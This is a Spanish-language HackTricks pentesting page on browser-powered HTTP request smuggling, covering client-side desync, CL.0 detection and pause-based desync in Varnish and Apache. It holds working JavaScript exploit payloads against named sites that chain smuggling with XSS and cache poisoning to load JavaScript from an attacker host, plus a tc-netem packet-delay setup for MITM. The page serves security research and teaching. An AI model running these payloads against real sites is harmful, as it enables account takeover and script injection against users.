hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

25 KiB

Smuggling de solicitudes HTTP del navegador

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Desincronización compatible con el navegador CL.0/H2.0

Esta vulnerabilidad ocurre cuando el encabezado Content Length (CL) es completamente ignorado por el servidor backend. Luego, el backend trata el cuerpo como el inicio del método de la segunda solicitud. Ignorar el CL es equivalente a tratarlo como si tuviera un valor de 0, por lo que se trata de una desincronización CL.0, una clase de ataque conocida pero menos explorada.

El ataque fue posible porque el servidor backend simplemente no esperaba una solicitud POST.

{% hint style="warning" %} Tenga en cuenta que esta vulnerabilidad se desencadena mediante una solicitud HTTP válida y compatible con las especificaciones. Esto significa que el front-end no tiene posibilidad de protegerse contra ella, e incluso podría ser desencadenada por un navegador. {% endhint %}

La única diferencia entre CL.0 y H2.0 es que el segundo está utilizando HTTP2 (que tiene un encabezado de longitud de contenido implícito) pero el backend tampoco lo está usando.

Desincronización del lado del cliente

Los ataques de desincronización tradicionales envenenan la conexión entre un servidor front-end y back-end, por lo que son imposibles en sitios web que no utilizan una arquitectura front-end/back-end. A partir de ahora, estos son los desincronizaciones del lado del servidor. La mayoría de las desincronizaciones del lado del servidor solo se pueden desencadenar mediante una solicitud malformada de un cliente HTTP personalizado.

La capacidad de un navegador para causar una desincronización permite una nueva clase completa de amenazas llamada desincronización del lado del cliente (CSD).
Un ataque CSD comienza con la víctima visitando el sitio web del atacante, que luego hace que su navegador envíe dos solicitudes de dominio cruzado al sitio web vulnerable. La primera solicitud está diseñada para desincronizar la conexión del navegador y hacer que la segunda solicitud desencadene una respuesta dañina, típicamente dando al atacante el control de la cuenta de la víctima.

Detectar

Un vector CSD es una solicitud HTTP con dos propiedades clave.

En primer lugar, el servidor debe ignorar el Content-Length (CL) de la solicitud. Esto suele suceder porque la solicitud desencadenó un error del servidor, o el servidor simplemente no esperaba una solicitud POST en el punto final elegido. Intente apuntar a archivos estáticos y redirecciones a nivel de servidor, y desencadenar errores a través de URL demasiado largas, y semi-malformadas como /%2e%2e.

En segundo lugar, la solicitud debe ser desencadenable en un navegador web de dominio cruzado. Los navegadores restringen severamente el control sobre las solicitudes de dominio cruzado, por lo que tiene un control limitado sobre los encabezados, y si su solicitud tiene un cuerpo, deberá usar el método HTTP POST. En última instancia, solo controla la URL, además de algunas cosas como el encabezado Referer, el cuerpo y la última parte del tipo de contenido.

Pruebas de ignorar CL

La forma de probar esta configuración incorrecta es enviar 2 solicitudes y contrabandear una en el medio. Si la conexión contrabandeada afectó la respuesta de la segunda solicitud, significa que es vulnerable:

{% hint style="warning" %} Tenga en cuenta que no puede probar esta vulnerabilidad simplemente enviando un Content-Length más grande que el enviado y buscando un tiempo de espera porque algunos servidores responden incluso si no recibieron todo el cuerpo. {% endhint %}

Es importante tener en cuenta si el sitio web objetivo admite HTTP/2. Los ataques CSD típicamente explotan la reutilización de conexión HTTP/1.1 y los navegadores web prefieren usar HTTP/2 siempre que sea posible, por lo que si el sitio web objetivo admite HTTP/2, es poco probable que sus ataques funcionen. Hay una excepción; algunos proxies hacia adelante no admiten HTTP/2 por lo que puede explotar a cualquiera que los use. Esto incluye proxies corporativos, ciertas VPN intrusivas e incluso algunas herramientas de seguridad.

Confirmar

En primer lugar, seleccione un sitio para lanzar el ataque. Este sitio debe ser accedido a través de HTTPS y ubicado en un dominio diferente al objetivo.

A continuación, asegúrese de que no tenga un proxy configurado, luego navegue hasta su sitio de ataque. Abra las herramientas de desarrollador y cambie a la pestaña Network. Para ayudar con la depuración de posibles problemas más adelante, recomiendo hacer los siguientes ajustes:

  • Seleccione la casilla de verificación "Preservar registro".
  • Haga clic con el botón derecho en los encabezados de columna y habilite la columna "ID de conexión".

Cambie a la consola de desarrollador y ejecute JavaScript para replicar su secuencia de ataque usando fetch(). Esto puede parecer algo así:

fetch('https://example.com/', {
  method: 'POST',
     body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
     mode: 'no-cors', // ensure connection ID is visible
     credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
     location = 'https://example.com/' // use the poisoned connection
})

He establecido el modo de recuperación 'no-cors' para asegurarme de que Chrome muestre el ID de conexión en la pestaña de Red. También he establecido credentials: 'include' ya que Chrome tiene dos grupos de conexiones separados - uno para solicitudes con cookies y otro para solicitudes sin ellas. Normalmente, querrás explotar navegaciones, y estas utilizan el grupo 'con-cookies', por lo que vale la pena acostumbrarse a siempre envenenar ese grupo.

Cuando ejecutes esto, deberías ver dos solicitudes en la pestaña de Red con el mismo ID de conexión, y la segunda debería provocar un 404:

Si esto funciona como se espera, ¡enhorabuena! ¡Has encontrado una desincronización del lado del cliente!

Explotación - Almacenamiento

Una opción es identificar la funcionalidad en el sitio objetivo que te permita almacenar datos de texto, y crear el prefijo de manera que las cookies, las cabeceras de autenticación o la contraseña de tu víctima acaben siendo almacenados en algún lugar donde puedas recuperarlos. Este flujo de ataque funciona casi de manera idéntica a la desincronización de solicitudes del lado del servidor, así que no me detendré en ello.

Explotación - Encadenar y pivotar

En circunstancias normales, muchas clases de ataques del lado del servidor solo pueden ser lanzados por un atacante con acceso directo al sitio objetivo, ya que dependen de solicitudes HTTP que los navegadores se niegan a enviar, como manipular las cabeceras HTTP - envenenamiento de caché web, la mayoría de las desincronizaciones de solicitudes del lado del servidor, ataques de cabecera de host, SQLi basado en User-Agent, CSRF JSON Content-type y numerosos otros.

El camino más sencillo hacia un ataque exitoso provino de dos técnicas clave que normalmente se utilizan para desincronizaciones del lado del servidor: envenenamiento de recursos JavaScript mediante redirecciones de cabecera de host, y el uso del método HEAD para unir una respuesta con HTML dañino. Ambas técnicas necesitaban ser adaptadas para superar algunos desafíos novedosos asociados con la operación en el navegador de la víctima.

Ejemplos de explotación

Ejemplo de HEAD apilado

  • Explotación en color

  • Explotación JS
fetch('https://www.capitalone.ca/assets', {
    method: 'POST',
    // use a cache-buster to delay the response
    body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
    credentials: 'include',
    mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
    location = 'https://www.capitalone.ca/'
})va

Explicación:

  • Abuso de CL.0 en /assets (redirige a /assets/ y no comprueba el CL)
  • Smuggle de una petición HEAD (porque las respuestas HEAD todavía contienen una longitud de contenido)
  • Smuggle de una petición GET cuyo contenido va a ser reflejado en la respuesta con el payload.
    • Debido a la longitud de contenido de la petición HEAD, la respuesta de esta petición será el cuerpo de la petición HEAD
  • Establecer el modo cors. Normalmente esto no se hace, pero en este caso la respuesta del servidor al POST inicial es una redirección que si se sigue el exploit no funcionará. Por lo tanto, se utiliza el modo cors para desencadenar un error y redirigir a la víctima con el catch.

Redirección de encabezado de host + envenenamiento de caché del lado del cliente

  • Exploit de JS
fetch('https://redacted/', {
    method: 'POST',
    body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
    credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
  • Una solicitud a /+webvpn+/ con un dominio diferente en el encabezado Host es respondida con una redirección a /+webvpn+/index.html a ese dominio dentro del encabezado Host.
  • La ubicación en la segunda solicitud se establece en /+CSCOE+/win.js para envenenar la caché de ese archivo .js.
    • Esta solicitud será respondida con la redirección de /+webvpn+/ al dominio del atacante con la ruta /+webvpn+/index.html.
  • La caché de win.js será envenenada con una redirección a la página del atacante, pero también la víctima seguirá la redirección ya que fue asignada en la variable location y terminará en la página web del atacante.
  • Luego, el atacante redirigirá a la víctima a https://redacted/+CSCOE+/logon.html. Esta página importará /+CSCOE+/win.js. Cuya caché es una redirección al servidor del atacante, por lo tanto, el atacante puede responder con un JS malicioso.

La víctima accederá a la página del atacante dos veces, la primera vez espera un HTML que redirige a la víctima de vuelta a https://redacted/+CSCOE+/logon.html y la segunda vez espera código javascript (la carga útil). Se puede usar un políglota para servir ambas respuestas en solo una:

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

Payload HEAD con TE chunked

Al buscar CSD también se pueden probar URLs semi-malformadas como /..%2f o /%2f.

  • Exploit en color

  • Exploit en JS
fetch('https://www.verisign.com/%2f', { 
    method: 'POST',
    body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, 
    credentials: 'include',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
    let form = document.createElement('form')
    form.method = 'POST'
    form.action = 'https://www.verisign.com/robots.txt'
    form.enctype = 'text/plain'
    let input = document.createElement('input')
    input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
    input.value = ''
    form.appendChild(input)
    document.body.appendChild(form)
    form.submit()
}
  • La página /%2f es accedida para explotar la vulnerabilidad CL.0.
  • Se utiliza una solicitud HEAD para hacer un smuggling usando el encabezado Transfer-Encoding: chunked.
    • Este encabezado es necesario en este escenario porque de lo contrario el servidor rechaza una solicitud HEAD con un cuerpo.
  • Luego, el usuario envía un POST cuyo cuerpo contiene el chunk final de la solicitud HEAD anterior y una nueva solicitud que se smuglea con contenido (la carga útil de JS) que será reflejado en la respuesta.
    • Por lo tanto, el navegador tratará la respuesta a la solicitud HEAD como la respuesta a la solicitud POST que también contiene en el cuerpo de la respuesta que refleja la entrada del usuario en la segunda solicitud smugleada.

Redirección de encabezado de host + RC

  • JS Exploit
<script>
    function reset() {
        fetch('https://vpn.redacted/robots.txt', 
            {mode: 'no-cors', credentials: 'include'}
        ).then(() => {
            x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
        })
        setTimeout(poison, 120) // worked on 140. went down to 110
    }

    function poison(){
        sendPoison()
        sendPoison()
        sendPoison()
        setTimeout(reset, 1000)
    }

    function sendPoison(){
        fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', 
            {
                method: 'POST',
                body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
                mode: 'no-cors', 
                credentials: 'include'
            }
        )
    }

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

En este caso, de nuevo, hay una redirección de encabezado de host que podría ser utilizada para secuestrar una importación de JS. Sin embargo, esta vez la redirección no es cachéable, por lo que el envenenamiento de caché del lado del cliente no es una opción.

Por lo tanto, el ataque realizado hará que la víctima acceda a la página vulnerable en una pestaña y luego, justo antes de que la página intente cargar un archivo JS, envenenar las conexiones de contrabando de socket (3 en este caso).
Debido a que el momento tiene que ser extremadamente preciso, el ataque se realiza contra una nueva pestaña en cada iteración hasta que funcione.

{% hint style="warning" %} Tenga en cuenta que en este caso /meeting_testjs.cgi fue atacado porque carga un Javascript que responde con un 404, por lo que no está en caché. En otros escenarios donde intenta atacar un JS que está en caché debe esperar a que desaparezca de la caché antes de lanzar un nuevo ataque. {% endhint %}

Pasos resumidos:

  • Abrir una nueva ventana.
  • Emitir una solicitud inofensiva al objetivo para establecer una conexión fresca, haciendo que los tiempos sean más consistentes.
  • Navegar la ventana a la página de destino en /meeting_testjs.cgi.
  • 120ms después, crear tres conexiones envenenadas usando el gadget de redirección.
  • 5ms después, mientras se está renderizando /meeting_testjs.cgi, la víctima intentará importar /appletRedirect.js y será redirigida a x.psres.net, que sirve un JS malicioso.
  • Si no, volver a intentar el ataque.

Desincronización basada en pausas

La pausa también puede crear nuevas vulnerabilidades de desincronización al disparar implementaciones de tiempo de espera de solicitud equivocadas.

Por lo tanto, un atacante podría enviar una solicitud con encabezados que indiquen que hay un cuerpo, y luego esperar a que el front-end agote el tiempo de espera antes de enviar el cuerpo. Si el front-end agota el tiempo de espera pero deja la conexión abierta, el cuerpo de esa solicitud será tratado como una nueva solicitud.

Ejemplo: Varnish

La caché de Varnish tiene una función llamada synth(), que le permite emitir una respuesta sin reenviar la solicitud al back-end. Aquí hay una regla de ejemplo que se utiliza para bloquear el acceso a una carpeta:

if (req.url ~ "^/admin") {
    return (synth(403, "Forbidden"));
}

Al procesar una solicitud parcial que coincide con una regla sintética, Varnish se agotará si no recibe datos durante 15 segundos. Cuando esto sucede, deja la conexión abierta para su reutilización aunque solo haya leído la mitad de la solicitud del socket. Esto significa que si el cliente sigue con la segunda mitad de la solicitud HTTP, se interpretará como una solicitud nueva.

Para desencadenar una desincronización basada en pausas en un front-end vulnerable, comience enviando sus encabezados, prometiendo un cuerpo y luego simplemente espere. Eventualmente recibirá una respuesta y cuando finalmente envíe su cuerpo de solicitud, se interpretará como una nueva solicitud:

{% hint style="warning" %} Aparentemente esto fue parcheado el 25 de enero como CVE-2022-23959. {% endhint %}

Ejemplo: Apache

Al igual que Varnish, es vulnerable en puntos finales donde el servidor genera la respuesta en sí en lugar de permitir que la aplicación maneje la solicitud. Una forma en que esto sucede es con redireccionamientos a nivel de servidor: Redirect 301 / /en

Explotación del lado del servidor

Si el servidor vulnerable (Apache o Varnish en este caso) está en el back-end, se necesita un front-end que transmita la solicitud al servidor de back-end (encabezados http en este caso) sin almacenar en búfer todo el cuerpo de la solicitud.

En este caso, el atacante no recibirá el tiempo de espera de respuesta hasta que haya enviado el cuerpo. Pero si conoce el tiempo de espera, esto no debería ser un problema.

El Application Load Balancer (ALB) de Amazon transmitirá los datos de la conexión según sea necesario, pero si recibe la respuesta a la mitad de la solicitud (el tiempo de espera) antes de recibir el cuerpo, no enviará el cuerpo, por lo que aquí se debe explotar una condición de carrera:

Hay una complicación adicional cuando se trata de explotar Apache detrás de ALB - ambos servidores tienen un tiempo de espera predeterminado de 60 segundos. Esto deja una ventana de tiempo extremadamente pequeña para enviar la segunda parte de la solicitud. El ataque de condición de carrera tuvo éxito después de 66 horas.

Explotación MITM

Aparentemente, no es posible detener una solicitud desde el navegador para explotar una vulnerabilidad de pausa-desincronización. Sin embargo, siempre se puede realizar un ataque MITM para pausar una solicitud enviada por el navegador. Tenga en cuenta que este ataque no depende de descifrar ningún tráfico.

El flujo de ataque es muy similar a un ataque de desincronización del lado del cliente regular. El usuario visita una página controlada por el atacante, que emite una serie de solicitudes entre dominios a la aplicación objetivo. La primera solicitud HTTP está deliberadamente acolchada para ser tan grande que el sistema operativo la divide en varios paquetes TCP, lo que permite a un MITM activo retrasar el paquete final, desencadenando una desincronización basada en pausas. Debido al acolchado, el atacante puede identificar qué paquete pausar simplemente en función del tamaño.

Desde el lado del cliente, parece un desincronización del lado del cliente regular utilizando el gadget HEAD, aparte del acolchado de la solicitud:

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

En el sistema del atacante que realiza el MITM ciego, el retraso se implementó utilizando tc-NetEm:

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥